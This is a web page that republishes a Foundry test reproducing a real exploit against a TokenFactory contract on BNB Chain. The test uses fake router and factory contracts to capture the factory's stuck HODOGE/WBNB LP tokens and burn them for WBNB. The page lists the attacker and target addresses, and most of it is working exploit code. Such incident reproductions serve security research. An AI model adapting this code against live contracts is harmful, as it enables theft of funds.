Skip to content
THREATWIRE

Public reproduction file

src/test/2025-06/TokenFactory_exp.sol

Public reproduction file for dataset entry TokenFactory.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-06/TokenFactory_exp.sol125 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 657.17 USD
8// Attacker : 0xc49F2938327aa2cDc3F2f89Ed17b54B3671F05DE
9// Attack Contract : 0xC427866DcFa3dEc145B97ba73D1073a186A59769
10// Vulnerable Contract : 0xe4997f98E84C1891e7b57069e177fcCF5f4F6094
11// Attack Tx : https://bscscan.com/tx/0xf74bf7f41c8ca380d439dd94eab95d1bbb1f6fc934e69f2e42eb3325def8514a
12//
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0xe4997f98E84C1891e7b57069e177fcCF5f4F6094#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/1242
18//
19// Attack summary: The attacker supplied fake router/factory contracts to TokenFactory so a newly created token
20// recorded an existing HODOGE/WBNB Pancake pair as its pair, moved TokenFactory's stuck LP tokens to the pair, and
21// burned them for reserves.
22// Root cause: TokenFactory trusted caller-supplied liquidity infrastructure and did not verify the returned pair
23// belonged to the newly created token.
25address constant ATTACKER = 0xc49F2938327aa2cDc3F2f89Ed17b54B3671F05DE;
26address constant TOKEN_FACTORY = 0xe4997f98E84C1891e7b57069e177fcCF5f4F6094;
27address constant HODOGE_WBNB_PAIR = 0xda4f7E39Ef7E4e243b7fC8C980B5E8D794D84F5d;
28address constant HODOGE = 0x328b065F04De0314374B5974Af532401a6170BAC;
29address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
31interface ITokenFactory {
32 struct TokenInfo {
33 string name;
34 string symbol;
35 uint8 decimal;
36 uint256 initialSupply;
37 address pairAddress;
38 }
40 function fee() external view returns (uint256);
42 function createTokenAndAddLiquidity(
43 TokenInfo memory tokenInfo,
44 uint256 ethAmount,
45 address swapRouter,
46 address swapFactory,
47 address weth
48 ) external payable returns (address tokenAddress, address pairAddress);
50 function transferPair(address tokenAddress, address to) external;
53contract ContractTest is BaseTestWithBalanceLog {
54 function setUp() public {
55 uint256 forkBlock = 51_101_790;
56 vm.createSelectFork("bsc", forkBlock);
58 vm.label(ATTACKER, "Attacker");
59 vm.label(TOKEN_FACTORY, "TokenFactory");
60 vm.label(HODOGE_WBNB_PAIR, "HODOGE/WBNB Pair");
61 vm.label(HODOGE, "HODOGE");
62 vm.label(WBNB_TOKEN, "WBNB");
63 }
65 function testExploit() public {
66 ITokenFactory factory = ITokenFactory(TOKEN_FACTORY);
67 uint256 stuckLpBalance = IERC20(HODOGE_WBNB_PAIR).balanceOf(TOKEN_FACTORY);
68 uint256 attackerWbnbBefore = IERC20(WBNB_TOKEN).balanceOf(ATTACKER);
70 assertGt(stuckLpBalance, 0);
71 deal(ATTACKER, factory.fee());
73 // step 1: attacker-controlled router/factory make TokenFactory record the existing victim pair.
74 vm.startPrank(ATTACKER);
75 FakeRouter fakeRouter = new FakeRouter();
76 FakeFactory fakeFactory = new FakeFactory(HODOGE_WBNB_PAIR);
77 ITokenFactory.TokenInfo memory tokenInfo = ITokenFactory.TokenInfo({
78 name: "USDT",
79 symbol: "USDT",
80 decimal: 18,
81 initialSupply: 1 ether,
82 pairAddress: address(0)
83 });
85 (address fakeToken,) =
86 factory.createTokenAndAddLiquidity{value: factory.fee()}(tokenInfo, 0, address(fakeRouter), address(fakeFactory), WBNB_TOKEN);
88 // step 2: move TokenFactory's unrelated HODOGE/WBNB LP tokens to the pair and burn them.
89 factory.transferPair(fakeToken, HODOGE_WBNB_PAIR);
90 IUniswapV2Pair(HODOGE_WBNB_PAIR).burn(ATTACKER);
91 vm.stopPrank();
93 // step 3: the attacker receives WBNB reserves and TokenFactory loses the stuck LP balance.
94 uint256 attackerWbnbProfit = IERC20(WBNB_TOKEN).balanceOf(ATTACKER) - attackerWbnbBefore;
95 assertGt(attackerWbnbProfit, 0.9 ether);
96 assertEq(IERC20(HODOGE_WBNB_PAIR).balanceOf(TOKEN_FACTORY), 0);
97 }
100contract FakeFactory {
101 address private immutable pair;
103 constructor(
104 address pair_
105 ) {
106 pair = pair_;
107 }
109 function getPair(address, address) external view returns (address) {
110 return pair;
111 }
114contract FakeRouter {
115 function addLiquidityETH(
116 address,
117 uint256,
118 uint256,
119 uint256,
120 address,
121 uint256
122 ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity) {
123 return (0, 0, 0);
124 }

Analysis

Dataset entry

Public Foundry test for “TokenFactory” (2025-06-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xc49f2938327aa2cdc3f2f89ed17b54b3671f05de

  • Attack Contract

    0xc427866dcfa3dec145b97ba73d1073a186a59769

  • Vulnerable Contract

    0xe4997f98e84c1891e7b57069e177fccf5f4f6094

  • Attack Tx

    0xf74bf7f41c8ca380d439dd94eab95d1bbb1f6fc934e69f2e42eb3325def8514a

File record

Name
TokenFactory
Path
src/test/2025-06/TokenFactory_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
a9818b5fbcd032382ce104eb8be2240d08deba68
Language
Solidity
Size
126 lines
Date
2025-06-08
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-06/TokenFactory_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a9818b5fbcd032382ce104eb8be2240d08deba68, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.